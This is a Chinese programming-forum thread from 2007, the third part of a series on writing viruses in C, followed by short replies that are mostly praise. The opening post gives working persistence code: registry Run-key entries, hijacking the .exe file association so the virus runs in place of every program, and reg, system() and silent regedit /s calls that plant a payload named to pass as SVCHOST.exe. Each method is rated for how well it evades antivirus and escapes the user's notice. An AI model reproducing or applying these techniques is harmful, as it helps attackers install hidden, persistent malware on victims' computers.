| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 6584 人关注过本帖, 6 人收藏
标题:[原创]用C语言写病毒(3)
只看楼主 加入收藏
卧龙孔明
Rank: 9Rank: 9Rank: 9
等 级:贵宾
威 望:59
帖 子:3872
专家分:684
注 册:2006-10-13
结帖率:100%
收藏(6)
 问题点数:0 回复次数:35 
[原创]用C语言写病毒(3)

本连载文章只讨论写病毒的技术,并不讨论危害计算机及网络,所示例的程序只是一个无危害的模板,你可以在技术范围及法律范围内扩充实验.

在读本程序前请保证不用此程序进行违法活动,由于你使用本程序而对他人、组织等造成的任何损失都由将你承担,本人不负任何责任,否则,请马上离开.

拒绝任何形式的转载(本人除外),否则属于著作侵权,将受到《中华人民共和国软件保护条理》、《中华人民共和国著作权法》、《中华人民共和国知识产权法》等法律最大限度的制裁!!

这是第三篇连载了,这次着重写些编程技术和病毒原理方面问题。
注册表篇
1.可以用于病毒开机自启动的注册表位置:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices]
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
[HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
[HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices]
以上只是默认运行的部分注册表位置,其实还可以在系统启动外客(shell explorer.exe)后添加病毒路径等方法,同样可以实现通过注册表开机自动运行。
2.关联文件类型
在注册表HKEY_CLASS_ROOT下可以更改文件类型的默认启动程序,比如更改EXE文件的启动程序为你写的病毒,那么每当运行exe程序时,病毒将替代程序运行
例:
到注册表HKEY_CLASS_ROOT\exefile\shell\open\command下,修改“默认”修改为c:\windows\svchost.exe "%1" %*,那么以后运行.exe文件时只会运行c:\windows\svchost.exe

3.程序修改注册表的方法:
(1)使用REG命令添加修改注册表:
REG命令使用方法具体可以在命令提示符中输入REG /?和通过参阅Windows命令帮助查看
主要格式:
REG Operation [Parameter List]

Operation [ QUERY | ADD | DELETE | COPY |
SAVE | LOAD | UNLOAD | RESTORE |
COMPARE | EXPORT | IMPORT ]
例:向HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run中添加名为SVCHOST的键值,键值内容为C:\Windows\system\SVCHOST.exe

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v SVCHOST /d C:\Windows\system\SVCHOST.exe /f

调用reg命令的方法主要有两中,一种是使用C语言中的system函数,另一种是使用C语言中的spawn类函数(如函数spawnl)。具体system和spawnl使用方法请参见其它资料,这里仅举一例:

例:用system函数通过reg命令向HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run中添加名为SVCHOST的键值,键值内容为C:\Windows\system\SVCHOST.exe

system("reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f");

评论与小结:使用REG命令添加注册表可以达到直接调用系统命令(工具)来修改注册表的目的,如果被杀毒软件拦截也只会显示修改操作的发出来自C:\WINDOWS\system32\reg.exe,使病毒不容易被寻找到。但由于REG命令属于控制台命令,因此调用时有黑色的控制台出现,是病毒的征兆被感染用户发现,不利于病毒隐藏。

(2)使用WindowsAPI添加修改注册表
WindowsAPI为我们提供了大约25个函数。他提供了对注册表的读取,写入,删除,以及打开注册表及键值时所有函数这些函数有:
RegCloseKey
RegConnectRegistry
RegCreateKey
RegCreateKeyEx
RegDeleteKey
RegDeleteVale
RegEnumKey
RegFlushKey
RegGetKeySecurity(Windows9X不适用)
RegLoadKey
RegNotifyChangeKeyValue(Windows9X不适用)
RegOpenKey
RegOpenKeyEx
RegQueryInfoKey
RegQueryValue
RegQueryValueEx
RegReplaceKey
RegRestoreKey(Windows9X不适用)
RegSaveKey
RegSetKeySecurity(Windows9X不适用)
RegSetValue
RegSetValueEx
RegUnLoadKey
等,函数的使用需要在32位C编译器下调用windows.h文件,同(1)中一样,具体函数的使用方法请参见其它资料,这里仅举一例.
例:通过WindowsAPI向HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run中添加名为SVCHOST的键值,键值内容为C:\Windows\system\SVCHOST.exe

TRegistry* Registry;
Registry=new TRegistry();
Registry->RootKey=HKEY_LOCAL_MACHINE;
Registry->OpenKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",FALSE);
Registry->WriteString("SVCHOST","C:\\Windows\\system\\SVCHOST.exe");WriteString()
Registry->CloseKey();

评论与小结:使用WindowsAPI添加注册表可以达到直接无须调用系统命令(工具)就可以修改注册表的目的,但如果被杀毒软件拦截会显示修改操作来自的病毒体文件所在的路径,使病毒容易被寻找到。但由于WindowsAPI可以“悄悄”的完成修改,在前台没有任何显示,因此调用时如果未被拦截,很难被感染用户发觉,利于病毒隐藏。
(3)使用REGEDIT添加修改注册表
REGEDIT就是注册表编辑器,但它其实有一个/s的参数,只要调用regedit /s 注册表文件,就可以在后台无提示的修改注册表。同样需要用spawnl函数调用它。

例:通过spawnl函数调用regedit向HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run中添加名为wjview32的键值,键值内容为C:\windows\wjview32.com /s
char *regadd={"REGEDIT4\n\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"wjview32\"=\"C:\\\\windows\\\\wjview32.com /s\""};
FILE *output;
if((output=fopen("$$$$$","w"))!=NULL)
{
fprintf(output,regadd);
fclose(output);
spawnl(1,"c:\\windows\\regedit.exe"," /s $$$$$",NULL);
}
评论与小结:使用spawnl函数+REGEDIT可以兼得WindowsAPI和REG两种方法的优势,添加注册表如果被杀毒软件拦截会显示修改操作来自c:\windows\regedit.exe,使病毒的路径难以被寻找到,利于病毒的隐藏。REGEDIT可以“悄悄”的完成修改,在前台没有任何显示,因此调用时如果未被拦截,很难被感染用户发觉,利于病毒隐藏。

[此贴子已经被作者于2007-6-20 13:11:44编辑过]

搜索更多相关主题的帖子: C语言 
2007-06-20 13:10
nuciewth
Rank: 14Rank: 14Rank: 14Rank: 14
来 自:我爱龙龙
等 级:贵宾
威 望:104
帖 子:9786
专家分:208
注 册:2006-5-23
收藏
得分:0 
占个位子先.
好东西,呵呵.

倚天照海花无数,流水高山心自知。
2007-06-20 13:18
I喜欢c
Rank: 10Rank: 10Rank: 10
等 级:贵宾
威 望:64
帖 子:1749
专家分:0
注 册:2007-3-2
收藏
得分:0 

还有点糊涂....

慢慢消化..支持好东西...


 我是指针,却丢失了目标地址!          我是循环,却缺少了结束条件!      我是函数,却没有人来调用!   
2007-06-20 18:16
killer_l
Rank: 2
等 级:新手上路
威 望:3
帖 子:1139
专家分:0
注 册:2007-5-25
收藏
得分:0 
这么快,上期还没看完呢

2007-06-20 18:17
guoxhvip
Rank: 8Rank: 8
来 自:聖西羅南看臺
等 级:贵宾
威 望:44
帖 子:4052
专家分:135
注 册:2006-10-8
收藏
得分:0 

看看再说


愛生活 && 愛編程
2007-06-21 00:57
昕晨
Rank: 1
等 级:新手上路
帖 子:13
专家分:0
注 册:2007-6-13
收藏
得分:0 

学习一下


华软网:http://www.
2007-06-21 01:04
ludingo1211
Rank: 1
等 级:新手上路
帖 子:35
专家分:0
注 册:2007-5-28
收藏
得分:0 

再来顶尼


云带来了风,不,是风带去了云。QQ群6438659 请你不要一时冲动,对c不感兴趣的,请不要加入。
2007-06-23 15:23
panjunfeng
Rank: 1
等 级:新手上路
帖 子:5
专家分:0
注 册:2007-5-15
收藏
得分:0 

好东西,请大家务必看一下

2007-06-23 19:45
zjxcxx
Rank: 1
等 级:新手上路
帖 子:1
专家分:0
注 册:2007-3-10
收藏
得分:0 

恩,好东西啊!呵呵

2007-06-28 12:52
aaaasix
Rank: 1
等 级:新手上路
帖 子:45
专家分:0
注 册:2007-6-10
收藏
得分:0 

学C学到这种境界要多难?
不过除了病毒还能弄点好东东出来吗?
我只是觉得,学得这么好,就只想到编病毒的话,…………………………
多教点我们这些初学者一些实用又有用的东东!方显大侠本色!

2007-06-28 17:03
快速回复:[原创]用C语言写病毒(3)
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.024973 second(s), 7 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved